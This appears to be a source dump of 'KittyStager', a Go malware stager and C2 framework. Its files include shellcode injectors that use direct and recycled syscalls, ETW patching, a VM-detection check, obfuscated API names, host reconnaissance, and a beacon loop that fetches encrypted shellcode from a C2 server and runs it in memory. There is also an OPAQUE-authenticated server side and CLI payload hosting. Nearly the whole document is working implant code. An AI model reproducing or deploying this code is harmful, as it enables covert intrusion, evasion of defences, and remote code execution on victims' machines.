40 | alloc, _ := bp.GetSysID(string([]byte{'N', 't', 'A', 'l', 'l', 'o', 'c', 'a', 't', 'e', 'V', 'i', 'r', 't', 'u', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y'}))
41 | protect, _ := bp.GetSysID(string([]byte{'N', 't', 'P', 'r', 'o', 't', 'e', 'c', 't', 'V', 'i', 'r', 't', 'u', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y'}))
42 | createthread, _ := bp.GetSysID(string([]byte{'N', 't', 'C', 'r', 'e', 'a', 't', 'e', 'T', 'h', 'r', 'e', 'a', 'd', 'E', 'x'}))
43 | waitForSingleObject, _ := bp.GetSysID(string([]byte{'N', 't', 'W', 'a', 'i', 't', 'F', 'o', 'r', 'S', 'i', 'n', 'g', 'l', 'e', 'O', 'b', 'j', 'e', 'c', 't'}))
44 |
45 | createThread(shellcode, uintptr(0xffffffffffffffff), alloc, protect, createthread, waitForSingleObject)
46 | }
47 |
48 | func createThread(shellcode []byte, handle uintptr, NtAllocateVirtualMemorySysid, NtProtectVirtualMemorySysid, NtCreateThreadExSysid, NtWaitForSingleObject uint16) {
49 | malwareUtil.EtwPatch(handle)
50 | var baseA uintptr
51 | regionsize := uintptr(len(shellcode))
52 | bananaphone.Syscall(
53 | NtAllocateVirtualMemorySysid, //ntallocatevirtualmemory
54 | handle,
55 | uintptr(unsafe.Pointer(&baseA)),
56 | 0,
57 | uintptr(unsafe.Pointer(®ionsize)),
58 | uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE),
59 | windows.PAGE_READWRITE,
60 | )
61 | fmt.Println("Allocated memory at", baseA)
62 | //write memory
63 | //bananaphone.WriteMemory(shellcode, baseA)
64 | malwareUtil.Memcpy(baseA, shellcode)
65 | fmt.Println("Wrote shellcode to memory")
66 | var oldprotect uintptr
67 | bananaphone.Syscall(
68 | NtProtectVirtualMemorySysid, //NtProtectVirtualMemory
69 | handle,
70 | uintptr(unsafe.Pointer(&baseA)),
71 | uintptr(unsafe.Pointer(®ionsize)),
72 | windows.PAGE_EXECUTE_READ,
73 | uintptr(unsafe.Pointer(&oldprotect)),
74 | )
75 | fmt.Println("Changed memory protection to PAGE_EXECUTE_READ")
76 | var hhosthread uintptr
77 | bananaphone.Syscall(
78 | NtCreateThreadExSysid, //NtCreateThreadEx
79 | uintptr(unsafe.Pointer(&hhosthread)), //hthread
80 | 0x1FFFFF, //desiredaccess
81 | 0, //objattributes
82 | handle, //processhandle
83 | baseA, //lpstartaddress
84 | 0, //lpparam
85 | uintptr(0), //createsuspended
86 | 0, //zerobits
87 | 0, //sizeofstackcommit
88 | 0, //sizeofstackreserve
89 | 0, //lpbytesbuffer
90 | )
91 | fmt.Println("Created thread at", hhosthread)
92 | bananaphone.Syscall(NtWaitForSingleObject, hhosthread, uintptr(0xffffffff), 0)
93 | }
94 |
--------------------------------------------------------------------------------
/kittens/recycleKitten/recycleKitten.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "KittyStager/cmd/malwareUtil"
5 | "KittyStager/cmd/util"
6 | "crypto/sha1"
7 | _ "embed"
8 | "fmt"
9 | gabh "github.com/timwhitez/Doge-Gabh/pkg/Gabh"
10 | "golang.org/x/sys/windows"
11 | "syscall"
12 | "unsafe"
13 | )
14 |
15 | //go:embed conf.txt
16 | var t string
17 |
18 | // Shellcode injection comes from this repo
19 | // https://github.com/timwhitez/Doge-Gabh/blob/main/example/RecycledGate/popcalc/popcalc.go
20 |
21 | func main() {
22 | if malwareUtil.VmCheck() {
23 | return
24 | }
25 | malConf, err := util.MalConfUnmarshalJSON([]byte(t))
26 | if err != nil {
27 | return
28 | }
29 | shellcode := malwareUtil.Connect(malConf)
30 | inject(shellcode)
31 | }
32 |
33 | func inject(shellcode []byte) {
34 | var thisThread = uintptr(0xffffffffffffffff)
35 | alloc, _ := gabh.MemHgate(str2sha1(string([]byte{'N', 't', 'A', 'l', 'l', 'o', 'c', 'a', 't', 'e', 'V', 'i', 'r', 't', 'u', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y'})), str2sha1)
36 | protect, _ := gabh.MemHgate(str2sha1(string([]byte{'N', 't', 'P', 'r', 'o', 't', 'e', 'c', 't', 'V', 'i', 'r', 't', 'u', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y'})), str2sha1)
37 | createthread, _ := gabh.MemHgate(str2sha1(string([]byte{'N', 't', 'C', 'r', 'e', 'a', 't', 'e', 'T', 'h', 'r', 'e', 'a', 'd', 'E', 'x'})), str2sha1)
38 | pWaitForSingleObject := syscall.NewLazyDLL("kernel32.dll").NewProc("WaitForSingleObject").Addr()
39 | createThread(shellcode, thisThread, alloc, protect, createthread, uint64(pWaitForSingleObject))
40 |
41 | }
42 |
43 | func createThread(shellcode []byte, handle uintptr, NtAllocateVirtualMemorySysid, NtProtectVirtualMemorySysid, NtCreateThreadExSysid uint16, pWaitForSingleObject uint64) {
44 | malwareUtil.EtwPatch(handle)
45 | var hashhooked []string
46 | var baseA uintptr
47 | regionsize := uintptr(len(shellcode))
48 |
49 | callAddr := gabh.GetRecyCall("", hashhooked, str2sha1)
50 |
51 | r1, r := gabh.ReCycall(
52 | NtAllocateVirtualMemorySysid, //ntallocatevirtualmemory
53 | callAddr,
54 | handle,
55 | uintptr(unsafe.Pointer(&baseA)),
56 | 0,
57 | uintptr(unsafe.Pointer(®ionsize)),
58 | uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE),
59 | windows.PAGE_READWRITE,
60 | )
61 | if r != nil {
62 | fmt.Printf("1 %s %x\n", r, r1)
63 | return
64 | }
65 |
66 | //copy shellcode
67 | malwareUtil.Memcpy(baseA, shellcode)
68 |
69 | var oldprotect uintptr
70 | callAddr = gabh.GetRecyCall("NtDelayExecution", nil, nil)
71 |
72 | r1, r = gabh.ReCycall(
73 | NtProtectVirtualMemorySysid, //NtProtectVirtualMemory
74 | callAddr,
75 | handle,
76 | uintptr(unsafe.Pointer(&baseA)),
77 | uintptr(unsafe.Pointer(®ionsize)),
78 | syscall.PAGE_EXECUTE_READ,
79 | uintptr(unsafe.Pointer(&oldprotect)),
80 | )
81 | if r != nil {
82 | fmt.Printf("1 %s %x\n", r, r1)
83 | return
84 | }
85 |
86 | var hhosthread uintptr
87 | callAddr = gabh.GetRecyCall("", nil, nil)
88 |
89 | r1, r = gabh.ReCycall(
90 | NtCreateThreadExSysid, //NtCreateThreadEx
91 | callAddr,
92 | uintptr(unsafe.Pointer(&hhosthread)), //hthread
93 | 0x1FFFFF, //desiredaccess
94 | 0, //objattributes
95 | handle, //processhandle
96 | baseA, //lpstartaddress
97 | 0, //lpparam
98 | uintptr(0), //createsuspended
99 | 0, //zerobits
100 | 0, //sizeofstackcommit
101 | 0, //sizeofstackreserve
102 | 0, //lpbytesbuffer
103 | )
104 | syscall.Syscall(uintptr(pWaitForSingleObject), 2, hhosthread, 0xffffffff, 0)
105 | if r != nil {
106 | fmt.Printf("1 %s %x\n", r, r1)
107 | return
108 | }
109 | }
110 |
111 | func str2sha1(s string) string {
112 | h := sha1.New()
113 | h.Write([]byte(s))
114 | bs := h.Sum(nil)
115 | return fmt.Sprintf("%x", bs)
116 | }
117 |
--------------------------------------------------------------------------------
/cmd/http/opaque.go:
--------------------------------------------------------------------------------
1 | package http
2 |
3 | import (
4 | "KittyStager/cmd/crypto"
5 | "KittyStager/cmd/util"
6 | "encoding/base64"
7 | "encoding/json"
8 | "fmt"
9 | "github.com/frekui/opaque"
10 | color "github.com/logrusorgru/aurora"
11 | "io"
12 | "net/http"
13 | )
14 |
15 | var currentUser string
16 | var session1 *opaque.PwRegServerSession
17 | var session2 *opaque.AuthServerSession
18 |
19 | // regHandler1 is the first step of the OPAQUE registration protocol
20 | func regHandler1(w http.ResponseWriter, r *http.Request) {
21 | userAgent := r.UserAgent()
22 | //check if the user agent is correct
23 | if userAgent != userA {
24 | w.WriteHeader(404)
25 | fmt.Printf("\n%s\n", color.Yellow("[!] Unauthorized user agent: "+userAgent))
26 | return
27 | }
28 | data1, err := io.ReadAll(r.Body)
29 | if err != nil {
30 | util.ErrPrint(err)
31 | return
32 | }
33 | var msg1 opaque.PwRegMsg1
34 | if err := json.Unmarshal(data1, &msg1); err != nil {
35 | util.ErrPrint(err)
36 | return
37 | }
38 | var msg2 opaque.PwRegMsg2
39 | session1, msg2, err = opaque.PwReg1(PrivS, msg1)
40 | if err != nil {
41 | util.ErrPrint(err)
42 | return
43 | }
44 | data2, err := json.Marshal(msg2)
45 | if err != nil {
46 | util.ErrPrint(err)
47 | return
48 | }
49 | _, err = w.Write(data2)
50 | if err != nil {
51 | util.ErrPrint(err)
52 | return
53 | }
54 | }
55 |
56 | // regHandler2 is the second step of the OPAQUE registration protocol
57 | func regHandler2(w http.ResponseWriter, r *http.Request) {
58 | userAgent := r.UserAgent()
59 | //check if the user agent is correct
60 | if userAgent != userA {
61 | w.WriteHeader(404)
62 | fmt.Printf("\n%s\n", color.Yellow("[!] Unauthorized user agent: "+userAgent))
63 | return
64 | }
65 | data3, err := io.ReadAll(r.Body)
66 | if err != nil {
67 | util.ErrPrint(err)
68 | return
69 | }
70 | var msg3 opaque.PwRegMsg3
71 | if err := json.Unmarshal(data3, &msg3); err != nil {
72 | util.ErrPrint(err)
73 | return
74 | }
75 | user := opaque.PwReg3(session1, msg3)
76 | _, err = w.Write([]byte("ok"))
77 | if err != nil {
78 | util.ErrPrint(err)
79 | return
80 | }
81 | fmt.Printf("\n%s %s\n", color.Green("[+] Opaque registration request for user :"), color.Yellow(user.Username))
82 | Targets[user.Username] = &Kitten{
83 | Name: user.Username,
84 | Opaque: user,
85 | }
86 | currentUser = user.Username
87 | }
88 |
89 | // authHandler1 is the first step of the OPAQUE authentication protocol
90 | func authHandler1(w http.ResponseWriter, r *http.Request) {
91 | userAgent := r.UserAgent()
92 | //check if the user agent is correct
93 | if userAgent != userA {
94 | w.WriteHeader(404)
95 | fmt.Printf("\n%s\n", color.Yellow("[!] Unauthorized user agent: "+userAgent))
96 | return
97 | }
98 | data1, err := io.ReadAll(r.Body)
99 | if err != nil {
100 | util.ErrPrint(err)
101 | return
102 | }
103 | var msg1 opaque.AuthMsg1
104 | if err := json.Unmarshal(data1, &msg1); err != nil {
105 | return
106 | }
107 |
108 | fmt.Printf("%s %s\n", color.Green("[+] Opaque authentication request for user :"), color.Yellow(msg1.Username))
109 |
110 | _, ok := Targets[msg1.Username]
111 | if !ok {
112 | fmt.Println("No such user")
113 | return
114 | }
115 | user := Targets[msg1.Username].Opaque
116 | var msg2 opaque.AuthMsg2
117 | session2, msg2, err = opaque.Auth1(PrivS, user, msg1)
118 | if err != nil {
119 | util.ErrPrint(err)
120 | return
121 | }
122 | data2, err := json.Marshal(msg2)
123 | if err != nil {
124 | util.ErrPrint(err)
125 | return
126 | }
127 | _, err = w.Write(data2)
128 | if err != nil {
129 | util.ErrPrint(err)
130 | return
131 | }
132 | }
133 |
134 | // authHandler2 is the second step of the OPAQUE authentication protocol
135 | func authHandler2(w http.ResponseWriter, r *http.Request) {
136 | userAgent := r.UserAgent()
137 | //check if the user agent is correct
138 | if userAgent != userA {
139 | w.WriteHeader(404)
140 | fmt.Printf("\n%s\n", color.Yellow("[!] Unauthorized user agent: "+userAgent))
141 | return
142 | }
143 | data3, err := io.ReadAll(r.Body)
144 | if err != nil {
145 | util.ErrPrint(err)
146 | return
147 | }
148 | var msg3 opaque.AuthMsg3
149 | if err := json.Unmarshal(data3, &msg3); err != nil {
150 | return
151 | }
152 | sharedSecret, err := opaque.Auth3(session2, msg3)
153 | if err != nil {
154 | util.ErrPrint(err)
155 | return
156 | }
157 | _, err = w.Write([]byte("ok"))
158 | if err != nil {
159 | util.ErrPrint(err)
160 | return
161 | }
162 | key := sharedSecret[:16]
163 | keyB64 := base64.StdEncoding.EncodeToString(key)
164 | // generate a 32 byte key
165 | key32 := crypto.GenerateKey(keyB64, 32)
166 | fmt.Printf("%s %s\n", color.Green("[+] Opaque key :"), color.Yellow(keyB64))
167 | Targets[currentUser].SetKey(key32)
168 | }
169 |
--------------------------------------------------------------------------------
/cmd/malwareUtil/conUtil.go:
--------------------------------------------------------------------------------
1 | package malwareUtil
2 |
3 | import (
4 | "KittyStager/cmd/crypto"
5 | "KittyStager/cmd/util"
6 | "bytes"
7 | b64 "encoding/base64"
8 | "encoding/hex"
9 | "encoding/json"
10 | "fmt"
11 | _ "github.com/fourcorelabs/wintoken"
12 | "io"
13 | "math/rand"
14 | "net"
15 | "net/http"
16 | "os"
17 | "strconv"
18 | "time"
19 | )
20 |
21 | var (
22 | sleepTime int
23 | body []byte
24 | )
25 |
26 | // Connect is the function that connects to the C2 and gets the shellcode
27 | func Connect(malConf *util.MalConf) []byte {
28 | var err error
29 | //get the shellcode by http
30 | sleepTime = malConf.GetSleep()
31 | if err != nil {
32 | return nil
33 | }
34 | //initial recon
35 | host := recon()
36 | initChecks, err := util.InitUnmarshalJSON(host)
37 | if err != nil {
38 | return nil
39 | }
40 | cookieName := b64.StdEncoding.EncodeToString([]byte(initChecks.GetKittenName()))
41 | malConf.SetCookie(cookieName)
42 | //generate random password
43 | password := generatePassword(10)
44 | //check if server is reachable
45 | for {
46 | _, err = getRequest(malConf)
47 | if err == nil {
48 | break
49 | }
50 | sleep(sleepTime)
51 | }
52 | err = doPwreg(initChecks.GetKittenName(), password, malConf)
53 | if err != nil {
54 | return nil
55 | }
56 | key, err := doAuth(initChecks.GetKittenName(), password, malConf)
57 | //Initial callback
58 | data, _ := crypto.Encrypt(host, key)
59 | body, err = postRequest(data, malConf, malConf.GetEndPoint())
60 | //initial request
61 | // try to connect to the server
62 | fmt.Println(body)
63 | for {
64 | body, err = getRequest(malConf)
65 | //body, err = malwareUtil.getRequestgetRequestgetRequest(cookieName, conf)
66 | // if the response is not a shellcode, sleep and try again
67 | if len(body) == 0 {
68 | sleep(sleepTime)
69 | } else {
70 | hexSc, err := crypto.Decrypt(body, []byte(key))
71 | if err != nil {
72 | return nil
73 | }
74 | task, err := util.TaskUnmarshalJSON(hexSc)
75 | if err != nil {
76 | return nil
77 | }
78 | switch task.Tag {
79 | case "shellcode":
80 | shellcode, _ := hex.DecodeString(string(task.Payload))
81 | //inject the shellcode
82 | return shellcode
83 | case "sleep":
84 | sleepTime, err = strconv.Atoi(string(task.Payload))
85 | if err != nil {
86 | return nil
87 | }
88 | sleep(sleepTime)
89 | }
90 | }
91 | }
92 | }
93 |
94 | // recon does some basic recon on the target
95 | func recon() []byte {
96 | iniCheck := util.NewInitialChecks()
97 | // get machine name
98 | hostname, err := os.Hostname()
99 | if err != nil {
100 | hostname = "unknown"
101 | }
102 | iniCheck.SetHostname(hostname)
103 | //get username
104 | iniCheck.SetUsername(os.Getenv("USERNAME"))
105 | //get domain
106 | iniCheck.SetDomain(os.Getenv("USERDOMAIN"))
107 | //get local ip
108 | iniCheck.Ip = getLocalIP()
109 | //get kittenName
110 | iniCheck.SetKittenName(generateName(4))
111 | //get Programe Files
112 | dir, _ := os.ReadDir("C:\\Program Files")
113 | for _, file := range dir {
114 | iniCheck.SetDir(append(iniCheck.Dir, file.Name()))
115 | }
116 | dir86, _ := os.ReadDir("C:\\Program Files (x86)")
117 | for _, file := range dir86 {
118 | iniCheck.SetDir(append(iniCheck.Dir, file.Name()))
119 | }
120 | //process
121 | //pid
122 | iniCheck.SetPid(os.Getpid())
123 | //process name
124 | iniCheck.SetPName(os.Args[0])
125 | //current path
126 | currentPath, _ := os.Getwd()
127 | iniCheck.SetPath(currentPath)
128 | j, _ := json.Marshal(iniCheck)
129 | return j
130 | }
131 |
132 | // https://stackoverflow.com/questions/23558425/how-do-i-get-the-local-ip-address-in-go
133 | // getLocalIP gets the local IP address of the machine
134 | func getLocalIP() string {
135 | conn, err := net.Dial("udp", "100.100.100.100:3480")
136 | if err != nil {
137 | return ""
138 | }
139 | defer conn.Close()
140 | localAddr := conn.LocalAddr().(*net.UDPAddr).IP.String()
141 | return localAddr
142 | }
143 |
144 | // generateName generates a random name for the kittens
145 | func generateName(l int) string {
146 | letters := []rune("ABCDEFGHIJKLMNOPQRSTUVWXYZ")
147 | s1 := rand.NewSource(time.Now().UnixNano())
148 | r1 := rand.New(s1)
149 | b := make([]rune, l)
150 | for i := range b {
151 | b[i] = letters[r1.Intn(len(letters))]
152 | }
153 | return string(b)
154 | }
155 |
156 | // generatePassword generates a random password for the kittens
157 | func generatePassword(l int) string {
158 | letters := []rune("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789£$%^&*()_+")
159 | s1 := rand.NewSource(time.Now().UnixNano())
160 | r1 := rand.New(s1)
161 | b := make([]rune, l)
162 | for i := range b {
163 | b[i] = letters[r1.Intn(len(letters))]
164 | }
165 | return string(b)
166 | }
167 |
168 | // getRequest does a get request to the C2
169 | func getRequest(conf *util.MalConf) ([]byte, error) {
170 | var body []byte
171 | c := http.Client{Timeout: time.Duration(3) * time.Second}
172 | target := fmt.Sprintf("%s%s", conf.GetHost(), conf.GetEndPoint())
173 | req, err := http.NewRequest("GET", target, nil)
174 | if err != nil {
175 | return body, err
176 | }
177 | req.Header.Add("User-Agent", conf.GetUserA())
178 | if conf.GetCookie() != "" {
179 | req.Header.Add("Cookie", conf.GetCookie())
180 | }
181 | resp, err := c.Do(req)
182 | if err != nil {
183 | return nil, err
184 | }
185 | body, err = io.ReadAll(resp.Body)
186 | if err != nil {
187 | return body, err
188 | }
189 | return body, nil
190 | }
191 |
192 | // postRequest does a post request to the C2
193 | func postRequest(cont []byte, conf *util.MalConf, endpoint string) ([]byte, error) {
194 | var body []byte
195 | target := fmt.Sprintf("%s%s", conf.GetHost(), endpoint)
196 | c := http.Client{Timeout: time.Duration(3) * time.Second}
197 | req, err := http.NewRequest("POST", target, bytes.NewBuffer(cont))
198 | if err != nil {
199 | return body, err
200 | }
201 | req.Header.Add("User-Agent", conf.GetUserA())
202 | if conf.GetCookie() != "" {
203 | req.Header.Add("Cookie", conf.GetCookie())
204 | }
205 | resp, err := c.Do(req)
206 | if err != nil {
207 | return nil, err
208 | }
209 | body, err = io.ReadAll(resp.Body)
210 | if err != nil {
211 | return body, err
212 | }
213 | return body, nil
214 | }
215 |
216 | // sleep sleeps for a given amount of time
217 | func sleep(t int) {
218 | time.Sleep(time.Duration(t) * time.Second)
219 | }
220 |
--------------------------------------------------------------------------------
/go.sum:
--------------------------------------------------------------------------------
1 | github.com/Binject/debug v0.0.0-20200830173345-f54480b6530f/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
2 | github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee h1:neBp9wDYVY4Uu1gGlrL+IL4JeZslz+hGEAjBXGAPWak=
3 | github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
4 | github.com/C-Sto/BananaPhone v0.0.0-20220322014042-1265045cb6c5 h1:gdE9IHf9tD2iVOeFBOFFt/W2EuGW0B83nkwqojW4k2w=
5 | github.com/C-Sto/BananaPhone v0.0.0-20220322014042-1265045cb6c5/go.mod h1:QsEPWHZooj8uXL2YEdpQX+hDr00Plw7myenTiduBHRA=
6 | github.com/JoaoDanielRufino/go-input-autocomplete v1.0.4 h1:ZsgP08f77C1Hizi5pfB9xNBG+d605s0z+PWuI5KLEEk=
7 | github.com/JoaoDanielRufino/go-input-autocomplete v1.0.4/go.mod h1:tB42IGOd4W3hzlAcw8JWf0mMnu94q4tPsjhT24MbcB4=
8 | github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 h1:cIAK2NNf2yafdgpFRNJrgZMwvy61BEVpGoHc2n4/yWs=
9 | github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4/go.mod h1:SalMPBCab3yuID8nIhLfzwoBV+lBRyaC7NhuN8qL8xE=
10 | github.com/briandowns/spinner v1.19.0 h1:s8aq38H+Qju89yhp89b4iIiMzMm8YN3p6vGpwyh/a8E=
11 | github.com/briandowns/spinner v1.19.0/go.mod h1:mQak9GHqbspjC/5iUx3qMlIho8xBS/ppAL/hX5SmPJU=
12 | github.com/c-bata/go-prompt v0.2.6 h1:POP+nrHE+DfLYx370bedwNhsqmpCUynWPxuHi0C5vZI=
13 | github.com/c-bata/go-prompt v0.2.6/go.mod h1:/LMAke8wD2FsNu9EXNdHxNLbd9MedkPnCdfpU9wwHfY=
14 | github.com/eiannone/keyboard v0.0.0-20200508000154-caf4b762e807 h1:jdjd5e68T4R/j4PWxfZqcKY8KtT9oo8IPNVuV4bSXDQ=
15 | github.com/eiannone/keyboard v0.0.0-20200508000154-caf4b762e807/go.mod h1:Xoiu5VdKMvbRgHuY7+z64lhu/7lvax/22nzASF6GrO8=
16 | github.com/fatih/color v1.7.0 h1:DkWD4oS2D8LGGgTQ6IvwJJXSL5Vp2ffcQg58nFV38Ys=
17 | github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4=
18 | github.com/fourcorelabs/wintoken v1.0.0 h1:dskUYLAFHNy1cbS5MXsNFXauQzxieTrZlffQZ0Yu19I=
19 | github.com/fourcorelabs/wintoken v1.0.0/go.mod h1:jKyXHt079W09KwEMbUC9g+R2KDs5kVvSKPUiF5p0ejs=
20 | github.com/frekui/opaque v0.2.0 h1:4fnvurwf29m6amvDbLj2OONkTE3o7OnqZ9xb/MRv/sE=
21 | github.com/frekui/opaque v0.2.0/go.mod h1:KKYz1SZbbHhW7jVnI9F8mSVNxG6zjTVwJWzcCRXeGXM=
22 | github.com/go-test/deep v1.0.1 h1:UQhStjbkDClarlmv0am7OXXO4/GaPdCGiUiMTvi28sg=
23 | github.com/go-test/deep v1.0.1/go.mod h1:wGDj63lr65AM2AQyKZd/NYHGb0R+1RLqB8NKt3aSFNA=
24 | github.com/logrusorgru/aurora v2.0.3+incompatible h1:tOpm7WcpBTn4fjmVfgpQq0EfczGlG91VSDkswnjF5A8=
25 | github.com/logrusorgru/aurora v2.0.3+incompatible/go.mod h1:7rIyQOR62GCctdiQpZ/zOJlFyk6y+94wXzv6RNZgaR4=
26 | github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
27 | github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
28 | github.com/mattn/go-colorable v0.1.7/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
29 | github.com/mattn/go-colorable v0.1.9 h1:sqDoxXbdeALODt0DAeJCVp38ps9ZogZEAXjus69YV3U=
30 | github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
31 | github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
32 | github.com/mattn/go-isatty v0.0.10/go.mod h1:qgIWMr58cqv1PHHyhnkY9lrL7etaEgOFcMEpPG5Rm84=
33 | github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
34 | github.com/mattn/go-isatty v0.0.16 h1:bq3VjFmv/sOjHtdEhmkEV4x1AJtvUvOJ2PFAZ5+peKQ=
35 | github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
36 | github.com/mattn/go-runewidth v0.0.6/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
37 | github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
38 | github.com/mattn/go-runewidth v0.0.13 h1:lTGmDsbAYt5DmK6OnoV7EuIF1wEIFAcxld6ypU4OSgU=
39 | github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
40 | github.com/mattn/go-tty v0.0.3 h1:5OfyWorkyO7xP52Mq7tB36ajHDG5OHrmBGIS/DtakQI=
41 | github.com/mattn/go-tty v0.0.3/go.mod h1:ihxohKRERHTVzN+aSVRwACLCeqIoZAWpoICkkvrWyR0=
42 | github.com/pkg/term v1.2.0-beta.2 h1:L3y/h2jkuBVFdWiJvNfYfKmzcCnILw7mJWm2JQuMppw=
43 | github.com/pkg/term v1.2.0-beta.2/go.mod h1:E25nymQcrSllhX42Ok8MRm1+hyBdHY0dCeiKZ9jpNGw=
44 | github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY=
45 | github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
46 | github.com/timwhitez/Doge-Gabh v1.9.2 h1:DcBzoTlcIbwtSg8Q6ubEU57qBo0fSGEamGx7hxAVwow=
47 | github.com/timwhitez/Doge-Gabh v1.9.2/go.mod h1:17QoN89jMf75zSSsk65bjx4+tmkR2NfWAyV3YT9Fhfc=
48 | golang.org/x/crypto v0.0.0-20181112202954-3d3f9f413869/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
49 | golang.org/x/crypto v0.1.0 h1:MDRAIl0xIo9Io2xV565hzXHw3zVseKrJKodhohM5CjU=
50 | golang.org/x/crypto v0.1.0/go.mod h1:RecgLatLF4+eUMCP1PoPZQb+cVrJcOPbHkTkbkB9sbw=
51 | golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
52 | golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
53 | golang.org/x/sys v0.0.0-20191008105621-543471e840be/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
54 | golang.org/x/sys v0.0.0-20191120155948-bd437916bb0e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
55 | golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
56 | golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
57 | golang.org/x/sys v0.0.0-20200806125547-5acd03effb82/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
58 | golang.org/x/sys v0.0.0-20200828194041-157a740278f4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
59 | golang.org/x/sys v0.0.0-20200909081042-eff7692f9009/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
60 | golang.org/x/sys v0.0.0-20200918174421-af09f7315aff/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
61 | golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
62 | golang.org/x/sys v0.1.0 h1:kunALQeHf1/185U1i0GOB/fy1IPRDDpuoOOqRReG57U=
63 | golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
64 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
65 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
66 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
67 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
68 |
--------------------------------------------------------------------------------
/cmd/cli/util.go:
--------------------------------------------------------------------------------
1 | package cli
2 |
3 | import (
4 | "KittyStager/cmd/config"
5 | "KittyStager/cmd/generate"
6 | "KittyStager/cmd/http"
7 | "KittyStager/cmd/util"
8 | "fmt"
9 | i "github.com/JoaoDanielRufino/go-input-autocomplete"
10 | "github.com/briandowns/spinner"
11 | color "github.com/logrusorgru/aurora"
12 | "strconv"
13 | "strings"
14 | "time"
15 | )
16 |
17 | // payload chose the payload to use
18 | func payload(kittenName string) {
19 | fmt.Printf("%s\n", color.Yellow("[*] Please enter the path to the payload"))
20 | var path string
21 | path, err := i.Read("Path: ")
22 | if err != nil {
23 | util.ErrPrint(err)
24 | return
25 | }
26 | if path == "" {
27 | fmt.Printf("%s\n", color.Red("[!] Please enter a path"))
28 | return
29 | }
30 | if strings.HasSuffix(path, ".dll") {
31 | fmt.Printf("%s\n", color.Yellow("[*] Please enter the entry point"))
32 | var function string
33 | function, err = i.Read("Entry: ")
34 | if err != nil {
35 | util.ErrPrint(err)
36 | return
37 | }
38 | err = http.HostDll(path, function, kittenName)
39 | } else {
40 | err = http.HostShellcode(path, kittenName)
41 | }
42 | if err != nil {
43 | util.ErrPrint(err)
